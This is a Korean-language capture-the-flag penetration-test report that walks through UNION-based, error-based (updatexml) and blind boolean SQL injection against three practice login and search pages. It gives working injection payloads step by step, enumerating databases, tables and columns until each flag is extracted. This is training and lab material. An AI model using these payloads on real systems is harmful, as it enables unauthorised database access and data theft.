모의 해킹 보고서

양 우 성

목차

1. 점검 개요 2
2. 일정 2
3. 점검자 2
4. 점검 대상 2
5. 결과 3
6. 점검 항목표 3
7. 점검 과정 4
8. UNION SQL Injection 4
9. Error Based SQL Injection 10
10. Blind SQL Injection 15
11. **점검 개요**
12. 일정
    1. 점검 일자

* 2023년 05월 01일 ~ 2023년 5월 3일

1. 점검자

|  |  |
| --- | --- |
| 작성자 | 이메일 |
| 양우성 | ywspml@naver.com |

1. 점검 대상
   1. <http://ctf.segfaulthub.com:9999/sqli_1/search.php>
   2. <http://ctf.segfaulthub.com:9999/sqli_2/login.php>
   3. <http://ctf.segfaulthub.com:9999/sqli_3/login.php>
2. **결과**

점검 항목표

|  |  |  |
| --- | --- | --- |
| 번호 | url | 취약점 항목 |
| 1 | <http://ctf.segfaulthub.com:9999/sqli_1/search.php> | UNION  SQL Injection |
| 2 | <http://ctf.segfaulthub.com:9999/sqli_2/login.php> | Error Based  SQL Injection |
| 3 | <http://ctf.segfaulthub.com:9999/sqli_3/login.php> | Blind  SQL Injection |

1. **점검 과정**
   1. UNION SQL Injection

<http://ctf.segfaulthub.com:9999/sqli_1/search.php>

adminer 검색.

텍스트, 스크린샷, 라인, 폰트이(가) 표시된 사진

자동 생성된 설명

데이터가 4종류 조회된다는 것을 알 수 있음

select 문으로 db에서 조회할 것임

해당 쿼리문의 기본 구조부터 파악해야 함

admin, dmine 등등 검색을 해본 결과 모두 Adminer 로 검색된다는 것을 확인했음

like , '%\_\_\_%' 등의 구조일 것임

**select ??? from ??? where search like = '%\_\_\_%'**

쿼리문은 이것으로 예상

우선 union 을 활용하려면 컬럼의 개수부터 파악해야 함

그렇기에 order by 를 사용해서 컬럼의 개수를 유추할 것임

**admin%' order by 1 #**

**통과**

**admin%' order by 2 #**

**통과**

**admin%' order by 3 #**

**통과**

**admin%' order by 4 #**

**통과**

**admin%' order by 5 #**

**검색 결과 나오지 않음.**

**→ 컬럼 개수 = 4.**

컬럼 개수를 파악했으니 이제 union 을 사용할 수 있음

union 을 사용해서 화면에 출력되는 데이터의 위치를 파악할 것임

**admin%' union select '1','2','3',’4**텍스트, 스크린샷, 라인, 폰트이(가) 표시된 사진

자동 생성된 설명

1,2,3,4 컬럼의 위치를 확인했음

이제 db 이름부터 확인

**admin%' union select '1',database(),'3','4**

텍스트, 스크린샷, 폰트, 번호이(가) 표시된 사진

자동 생성된 설명

db 이름은

sqli\_1

이제 테이블의 이름을 확인해야 함

**select table\_name from information\_schema.tables where table\_schema = 'sqli\_1'**

위의 query 문으로 SQL에 입력하면 sqli\_1 데이터베이스 table 의 이름이 나옴

기본 구조와 결합하여 입력

**admin%' union select '1',table\_name,'3','4' from information\_schema.tables where table\_schema = 'sqli\_1' #**

텍스트, 스크린샷, 라인, 폰트이(가) 표시된 사진

자동 생성된 설명

table 이름을 확인

flag\_table

user\_info

테이블 이름 확인했으니까 컬럼 이름도 확인 가능함

컬럼 이름 확인하는 쿼리문은

**select column\_name from informarion\_schema.columns where table\_name='flag\_table'**

적용하면

**admin%' union select '1',column\_name,'3','4' from information\_schema.columns where table\_name='flag\_table' #**

텍스트, 스크린샷, 폰트, 라인이(가) 표시된 사진

자동 생성된 설명

컬럼 이름도 확인

그렇다면 데이터 추출이 가능함

**select flag from flag\_table**

**admin%' union select '1',flag,'3','4' from flag\_table #**

텍스트, 스크린샷, 폰트, 직사각형이(가) 표시된 사진

자동 생성된 설명

1. Error Based SQL Injection

<http://ctf.segfaulthub.com:9999/sqli_2/login.php>

로그인 화면

아무 거나 넣어서 로그인을 시도

텍스트, 스크린샷, 폰트, 번호이(가) 표시된 사진

자동 생성된 설명

**id : nor'**

nor' 을 치니까 SQL syntax error 발생

MySQL 을 사용하는 것을 확인할 수 있음

MySQL 구문을 이용해서 진행해야 함

**select ??? from ??? where id = ''**

일 것임. 아이디는 유니크해야 하기 때문

Error Based SQL Injection Function 을 사용

**1' and updatexml(null,concat(0x3a,'test'),null) and '1'='1**

위 구문을 id 칸에 넣음

텍스트, 스크린샷, 폰트, 번호이(가) 표시된 사진

자동 생성된 설명

:test 파일을 찾을 수 없다는 논리 에러가 발생

EBSIF 가 성공적으로 실행됐다는 의미

**1' and updatexml(null,concat(0x3a,(select 'test')),null) and '1'='1**

역시 같은 에러가 발생

SQL Injection 이 가능하다고 판단할 수 있음

DB 이름을 확인

**1' and updatexml(null,concat(0x3a,(select database())),null) and '1'='1**

텍스트, 스크린샷, 폰트, 번호이(가) 표시된 사진

자동 생성된 설명

sqli\_2

DB 이름을 확인

다음은 table 이름 확인

**select table\_name from information\_schema.tables where table\_schema='sqli\_2'**

**1' and updatexml(null,concat(0x3a,(select table\_name from information\_schema.tables where table\_schema='sqli\_2' )),null) and '1'='1**

텍스트, 스크린샷, 폰트이(가) 표시된 사진

자동 생성된 설명

1개 이상의 결과가 출력되려고 해서 해당 오류가 발생했음

limit 를 이용해서 하나씩 출력하게 만들 것임

limit 0,1 = 첫 번째 데이터에서 1개만 출력

**1' and updatexml(null,concat(0x3a,(select table\_name from information\_schema.tables where table\_schema='sqli\_2' limit 0,1)),null) and '1'='1**

텍스트, 스크린샷, 폰트, 번호이(가) 표시된 사진

자동 생성된 설명

원하는 테이블이 바로 나왔다.

이제는 column 이름을 찾아봄

**select column\_name from information\_schema.columns where table\_name='flag\_table' limit 0,1**

**1' and updatexml(null,concat(0x3a,(select column\_name from information\_schema.columns where table\_name='flag\_table' limit 0,1)),null) and '1'='1**

텍스트, 스크린샷, 폰트, 번호이(가) 표시된 사진

자동 생성된 설명

바로 column 이름까지 확인

그렇다면 데이터 추출 가능

**select flag from flag\_table**

**1' and updatexml(null,concat(0x3a,(select flag from flag\_table)),null) and '1'='1**

텍스트, 스크린샷, 폰트, 번호이(가) 표시된 사진

자동 생성된 설명

1. Blind SQL Injection

<http://ctf.segfaulthub.com:9999/sqli_3/login.php>

기본적인 로그인

텍스트, 스크린샷, 폰트, 번호이(가) 표시된 사진

자동 생성된 설명

**mario / mariosuper**

로그인을 진행할 때 아무런 정보없이 SQL Injection을 사용할 수 있는 방법은 Blind SQL Injection 방법임

먼저 아이디를 입력하는 sql문을 예상

**select ??? from ??? where id = ''**

그 후에 기본적인 SQLi 구문을 집어넣어 봄

**mario' and '1'='1**

로그인 성공

id부분에 계속해서 많은 정보를 넣어야 하기 때문에

burp suite 프로그램을 사용함

텍스트, 스크린샷, 번호, 소프트웨어이(가) 표시된 사진

자동 생성된 설명

params가 체크되어 있는 hostory를 우클릭하여

'Send to Repeater' 버튼으로 Repeater로 보냄

텍스트, 스크린샷, 소프트웨어, 웹 페이지이(가) 표시된 사진

자동 생성된 설명

request 부분의 16번쨰 줄을 보면 userid와 password가 전송된 것을 확인할 수 있음

해당 부분을 수정하고 Send 버튼을 통하여 쉽게 post를 전송할 수 있음

또한, Response의 Render를 통하여 참과 거짓을 쉽게 가려낼 수 있음

Blind SQLi를 하기 위해서 참/거짓이 제대로 구분되는지 확인

**mario' and (1=1) and '1'='1 # 로그인 성공**

**mario' and (1=2) and '1'='1 # 로그인 실패**

텍스트, 스크린샷, 소프트웨어, 웹 페이지이(가) 표시된 사진

자동 생성된 설명

텍스트, 스크린샷, 소프트웨어, 웹 페이지이(가) 표시된 사진

자동 생성된 설명

위 사진을 보면

(1=1)은 로그인을 통과하고

(1=2)는 통과하지 못했음

텍스트, 스크린샷, 번호, 소프트웨어이(가) 표시된 사진

자동 생성된 설명

텍스트, 스크린샷, 번호, 소프트웨어이(가) 표시된 사진

자동 생성된 설명

(1=1)은 302 FOUND HTTP 상태 코드로 index.php로 redirect 되었지만,

(1=2)는 로그인을 통과하지 못하고 200 OK 상태 코드를 보여주었음

**mario' and ('test'='test') and '1'='1**

**mario' and ((select 'test')='test') and '1'='1**

또한 마찬가지로 참/거짓을 분별할 수 있음

Blind SQLi 공격이 가능

공격 포맷을 만들 것임

**mario' and (조건) and '1'='1**

이것이 기본 포맷 조건

조건의 공간에 여러 가지 방법을 사용해서 완성시킬 것임

**ascii('t')>0**

**mario' and (ascii('t')>0) and '1'='1**

ascii('t')>0 의미는 무조건 참

t 의 ascii 코드는 116이기에 0보다 크기 때문

그리고 ascii 가 적용되는 것을 확인하였음

**'t' => substring('test', 1,1)**

**mario' and (ascii(substring('test',1,1))>0) and '1%'='1**

결과 출력

substring 함수로 결과값을 잘라서 ascii 코드에 하나씩 대조해가면서 찾을 수 있게 쪼개줌

이제 select 문을 사용할 것

**mario' and (ascii(substring((select 'test'),1,1))>0) and '1'='1**

역시 로그인 성공

마지막으로 select 'test' 가 제대로 동작하는 것을 확인했으니

select 'test 부분을 빼고

넣고 싶은 SQL문을 넣음

포맷

**mario' and (ascii(substring((SQL),1,1))>0) and '1'='1**

이제 SQL 부분으로 database 이름을 알아 볼 수 있음

**select database()**

**mario' and (ascii(substring((select database()), 1,1)) > 0) and '1'='1**

> 0 을 수정해가며 맞는 조건을 찾아감

> 100 거짓

> 110 거짓

> 115 거짓

> 114 참

= 115 참

ascii 코드 115번 = s

텍스트, 스크린샷, 다채로움, 평행이(가) 표시된 사진

자동 생성된 설명

이런 식으로 계속해서 찾아가다보면

**mario'+and+(ascii(substring((select+database()),1,1))=115)+and'1'='1**

s

**mario'+and+(ascii(substring((select+database()),2,1))=113)+and'1'='1**

q

**mario'+and+(ascii(substring((select+database()),3,1))=108)+and'1'='1**

l

**mario'+and+(ascii(substring((select+database()),4,1))=105)+and'1'='1**

i

**mario'+and+(ascii(substring((select+database()),5,1))=95)+and'1'='1**

\_

**mario'+and+(ascii(substring((select+database()),6,1))=51)+and'1'='1**

3

**mario'+and+(ascii(substring((select+database()),7,1))>0)+and'1'='1**

x

database : sqli\_3

sqli\_3

database 이름을 알 수 있게 됨

table 도 마찬가지 이므로 table 도 같은 방식으로 찾아줌

select table\_name from information\_schema.tables where table\_schema = 'DB이름' limit 0,1

**select table\_name from information\_schema.tables where table\_schema = 'sqli\_3' limit 0,1**

로그인 성공

Table 검색

**mario'+and+(ascii(substring((select+table\_name+from+information\_schema.tables+where+table\_schema+=+'sqli\_3'+limit+0,1),1,1))=102)+and'1'='1**

f

**mario'+and+(ascii(substring((select+table\_name+from+information\_schema.tables+where+table\_schema+=+'sqli\_3'+limit+0,1),2,1))=108)+and'1'='1**

l

**mario'+and+(ascii(substring((select+table\_name+from+information\_schema.tables+where+table\_schema+=+'sqli\_3'+limit+0,1),3,1))=97)+and'1'='1**

a

**mario'+and+(ascii(substring((select+table\_name+from+information\_schema.tables+where+table\_schema+=+'sqli\_3'+limit+0,1),4,1))=103)+and'1'='1**

g

**mario'+and+(ascii(substring((select+table\_name+from+information\_schema.tables+where+table\_schema+=+'sqli\_3'+limit+0,1),5,1))=95)+and'1'='1**

\_

**mario'+and+(ascii(substring((select+table\_name+from+information\_schema.tables+where+table\_schema+=+'sqli\_3'+limit+0,1),6,1))=116)+and'1'='1**

t

**mario'+and+(ascii(substring((select+table\_name+from+information\_schema.tables+where+table\_schema+=+'sqli\_3'+limit+0,1),7,1))=97)+and'1'='1**

a

**mario'+and+(ascii(substring((select+table\_name+from+information\_schema.tables+where+table\_schema+=+'sqli\_3'+limit+0,1),8,1))=98)+and'1'='1**

b

**mario'+and+(ascii(substring((select+table\_name+from+information\_schema.tables+where+table\_schema+=+'sqli\_3'+limit+0,1),9,1))=108)+and'1'='1**

l

**mario'+and+(ascii(substring((select+table\_name+from+information\_schema.tables+where+table\_schema+=+'sqli\_3'+limit+0,1),10,1))=101)+and'1'='1**

e

table : flag\_table

flag\_table

column 도 동일하게 적용

select column\_name from information\_schema.columns where table\_name='table 이름'

**select column\_name from information\_schema.columns where table\_name='flag\_table'**

**mario'+and+(ascii(substring((select column\_name from information\_schema.columns where table\_name='flag\_table'),11,1))>0)+and'1'='1**

로그인 성공

**mario'+and+(ascii(substring((select+column\_name+from+information\_schema.columns+where+table\_name='flag\_table'),1,1))=102)+and'1'='1**

f

**mario'+and+(ascii(substring((select+column\_name+from+information\_schema.columns+where+table\_name='flag\_table'),2,1))=108)+and'1'='1**

l

**mario'+and+(ascii(substring((select+column\_name+from+information\_schema.columns+where+table\_name='flag\_table'),3,1))=97)+and'1'='1**

a

**mario'+and+(ascii(substring((select+column\_name+from+information\_schema.columns+where+table\_name='flag\_table'),4,1))=103)+and'1'='1**

g

column : flag

flag

column 완료

database 이름, table 이름, column 이름을 찾은 것을 토대로

데이터 확인 가능

select flag from flag\_table

**mario'+and+(ascii(substring((select flag from flag\_table),1,1))>0)+and'1'='1**

로그인 성공

mario'+and+(ascii(substring((select+flag+from+flag\_table),1,1))=115)+and'1'='1

s

mario'+and+(ascii(substring((select+flag+from+flag\_table),2,1))=101)+and'1'='1

e

mario'+and+(ascii(substring((select+flag+from+flag\_table),3,1))=103)+and'1'='1

g

mario'+and+(ascii(substring((select+flag+from+flag\_table),4,1))=102)+and'1'='1

f

mario'+and+(ascii(substring((select+flag+from+flag\_table),5,1))=97)+and'1'='1

a

mario'+and+(ascii(substring((select+flag+from+flag\_table),6,1))=117)+and'1'='1

u

mario'+and+(ascii(substring((select+flag+from+flag\_table),7,1))=108)+and'1'='1

l

mario'+and+(ascii(substring((select+flag+from+flag\_table),8,1))=116)+and'1'='1

t

mario'+and+(ascii(substring((select+flag+from+flag\_table),9,1))=123)+and'1'='1

{

mario'+and+(ascii(substring((select+flag+from+flag\_table),10,1))=66)+and'1'='1

B

mario'+and+(ascii(substring((select+flag+from+flag\_table),11,1))=108)+and'1'='1

l

mario'+and+(ascii(substring((select+flag+from+flag\_table),11,1))=105)+and'1'='1

i

mario'+and+(ascii(substring((select+flag+from+flag\_table),13,1))=110)+and'1'='1

n

mario'+and+(ascii(substring((select+flag+from+flag\_table),14,1))=100)+and'1'='1

d

mario'+and+(ascii(substring((select+flag+from+flag\_table),15,1))=95)+and'1'='1

\_

mario'+and+(ascii(substring((select+flag+from+flag\_table),16,1))=83)+and'1'='1

S

mario'+and+(ascii(substring((select+flag+from+flag\_table),17,1))=81)+and'1'='1

Q

mario'+and+(ascii(substring((select+flag+from+flag\_table),18,1))=76)+and'1'='1

L

mario'+and+(ascii(substring((select+flag+from+flag\_table),19,1))=105)+and'1'='1

i

mario'+and+(ascii(substring((select+flag+from+flag\_table),20,1))=95)+and'1'='1

\_

mario'+and+(ascii(substring((select+flag+from+flag\_table),21,1))=69)+and'1'='1

E

mario'+and+(ascii(substring((select+flag+from+flag\_table),22,1))=65)+and'1'='1

A

mario'+and+(ascii(substring((select+flag+from+flag\_table),23,1))=83)+and'1'='1

S

mario'+and+(ascii(substring((select+flag+from+flag\_table),24,1))=89)+and'1'='1

Y

mario'+and+(ascii(substring((select+flag+from+flag\_table),25,1))=125)+and'1'='1

}

Flag 찾기 성공

segfault{Blind\_SQLi\_EASY}